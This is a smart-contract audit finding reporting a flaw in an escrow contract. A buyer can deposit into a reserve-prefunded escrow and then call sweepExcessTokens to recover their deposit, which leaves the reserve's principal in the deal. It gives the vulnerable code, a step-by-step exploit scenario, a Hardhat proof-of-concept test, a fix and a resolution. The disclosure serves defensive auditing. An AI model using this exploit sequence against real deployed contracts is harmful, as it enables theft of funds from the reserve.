Buyer can convert a reserve-prefunded escrow into a free deal via deposit() and sweepExcessTokens()
A reserve-prefunded escrow reads as unfunded until activated, so the buyer can deposit a second time and sweep the excess. The buyer ends up with a fully funded deal at zero net cost and the reserve loses the principal.
Description
A prefunded escrow reads as unfunded. activatePrefunded performs no transfer — it attests that the reserve's balance is present and flips the flags — so until it is called the contract holds the full principal while deposited is false and status is Pending.
deposit() is gated on exactly those two flags and transfers a second totalAmount without consulting the balance already held:
function deposit() external onlyBuyer nonReentrant {if (status != Status.Pending) revert NotPending();if (deposited) revert AlreadyDeposited();_activateFunding();deposited = true;status = Status.Active;IERC20(token).safeTransferFrom(buyer, address(this), totalAmount);}
sweepExcessTokens then derives the protected balance from booked totals rather than from the contract's actual holdings, so the reserve's principal is invisible to it and the surplus is returned to buyer:
uint256 escrowed = totalAmount - releasedAmount - abandonedAmount; // == totalAmountif (balance <= escrowed) return;uint256 excess = balance - escrowed; // == the buyer's depositIERC20(token).safeTransfer(buyer, excess);
The buyer is not racing the relayer. activatePrefunded requires the buyer's own ACTIVATE_PREFUNDED signature, so a buyer who declines to sign holds the escrow in Pending indefinitely and can run the sequence whenever they choose.
Vulnerable Scenario: The following steps illustrate the issue:
- The reserve transfers
totalAmountinto a newly created escrow ahead of activation. The clone holds the full principal withdeposited == falseandstatus == Pending. - The buyer withholds the
ACTIVATE_PREFUNDEDsignature, so the relayer cannot activate and no deadline applies. - The buyer calls
deposit(). Both gates pass, a secondtotalAmountis transferred in, and the escrow flips toActiveholding2 x totalAmount. - Any address calls
sweepExcessTokens().escrowedevaluates tototalAmount, so the excess — precisely the buyer's own deposit — is returned to the buyer. - The escrow is
Activeand correctly funded attotalAmount. Every downstream path behaves normally. The principal in it belongs to the reserve. - The buyer proceeds as an ordinary counterparty: take delivery, or dispute and win a refund and receive the reserve's float in cash.
Impact
The buyer obtains a fully funded escrow at zero net cost and the reserve loses the principal, with no on-chain claim on it — every refund destination in Escrow is the buyer.
Nothing distinguishes the result from a correctly funded deal. The escrow settles normally, and Deposited(buyer, totalAmount) and ExcessSwept(buyer, excess) are both emitted as designed, so the loss does not surface in state, balances, or events. The sequence is unilaterally buyer-controlled and needs no collusion, no timing window, and no third party.
POC:
To be added to Escrow.test.js:
it("[H-07] prefunded escrow: deposit() then sweepExcessTokens() returns the buyer's deposit", async function () {const signers = await ethers.getSigners();const [, buyer, seller] = signers;const reserve = signers[9];const MockUSDT = await ethers.getContractFactory("MockUSDT");const token = await MockUSDT.deploy();await token.waitForDeployment();const { factory } = await deployPoolAndFactory(token);const escrow = await createEscrow(factory, buyer, seller, { useMilestones: false });const escrowAddr = await escrow.getAddress();// The reserve prefunds the clone; activatePrefunded has not been called.await token.mint(reserve.address, TOTAL_AMOUNT);await token.connect(reserve).transfer(escrowAddr, TOTAL_AMOUNT);expect(await token.balanceOf(escrowAddr)).to.equal(TOTAL_AMOUNT);expect(await escrow.deposited()).to.equal(false);expect(await escrow.status()).to.equal(Status.Pending);// The buyer deposits a second principal.await token.mint(buyer.address, TOTAL_AMOUNT);const buyerStart = await token.balanceOf(buyer.address);await token.connect(buyer).approve(escrowAddr, TOTAL_AMOUNT);await escrow.connect(buyer).deposit();expect(await token.balanceOf(escrowAddr)).to.equal(TOTAL_AMOUNT * 2n);expect(await escrow.status()).to.equal(Status.Active);// Anyone may trigger the sweep.await escrow.connect(seller).sweepExcessTokens();// The buyer is made whole; the escrow is funded with the reserve's principal.expect(await token.balanceOf(buyer.address)).to.equal(buyerStart);expect(await token.balanceOf(escrowAddr)).to.equal(TOTAL_AMOUNT);expect(await token.balanceOf(reserve.address)).to.equal(0n);expect(await escrow.status()).to.equal(Status.Active);});
Recommendation
Credit the balance the contract already holds. In deposit, depositFor and activatePrefunded, transfer only totalAmount - IERC20(token).balanceOf(address(this)) and revert when that figure is zero, so a clone that is already funded can only be brought live through activatePrefunded and never accepts a second principal that sweepExcessTokens will hand back.
Credit only a balance that completes the escrow. A partial prefund still lets the buyer top up the difference and take delivery of a deal the reserve part-funded, so reject deposit and depositFor unless the contract holds nothing, and route any already-funded clone through activatePrefunded alone.
This fix must land with F-2026-0019. On its own it removes the buyer's ability to add a second principal but leaves abortPending free to send the reserve's balance to the buyer, which reaches the same outcome by a slower route.
Resolution
Fixed. A clone that already holds the full principal rejects a second deposit and can only be brought live through activatePrefunded, so a prefunded balance never surfaces as sweepable excess.
Affected files
contracts/Escrow.sol#L452-L467contracts/Escrow.sol#L649-L659contracts/Escrow.sol#L411-L418